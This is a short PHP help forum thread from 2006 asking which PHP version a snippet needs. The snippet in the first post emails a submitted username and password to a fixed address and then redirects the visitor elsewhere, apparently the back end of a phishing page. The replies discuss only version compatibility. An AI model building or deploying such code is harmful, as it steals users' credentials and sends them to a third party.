Jump to content


Does Anyone Know What Version PHP this is?

  • Please log in to reply
3 replies to this topic

#1 shisamandisa

  • Members
  • PipPip
  • Member
  • 22 posts

Posted 16 July 2006 - 03:40 AM

mail("email@email.com", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");

#2 micah1701

  • Members
  • PipPipPip
  • Advanced Member
  • 613 posts
  • LocationEllington, CT USA

Posted 16 July 2006 - 03:48 AM

that script should run in just about any version of PHP i would think.

there are a number of ways to find your version number, the easiest is to just add this to a script on your site.

<? phpinfo() ?>

that will output all your settings.
see  http://www.php.net/phpinfo
"Confidence in the face of risk."

#3 OOP

  • Members
  • PipPipPip
  • Advanced Member
  • 149 posts
  • LocationSaudi Arabia

Posted 16 July 2006 - 04:17 AM

This script will work on any PHP version starting from version that is  > 4.1.0. I am saying this becuase the global array $_POST was not available in older version. Older versions used to have this kind of arrays $HTTP_*_VARS.

<?php echo'The man who makes no mistakes does not usually make anything'; ?>

#4 wildteen88

  • Staff Alumni
  • Advanced Member
  • 10,482 posts
  • LocationUK, Bournemouth

Posted 16 July 2006 - 10:27 AM

If you are running PHP4.1.x or lower then you will have to use the $HTTP_*_VARS. This becuase the superglobal  ($_POST, $_GET, $COOKIES etc) arrays wasn't added until PHP4.2.x. If your host is using an older version you should consider moving to  another host that has  amore uptodate version or see if your host will upgrade their current version.

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users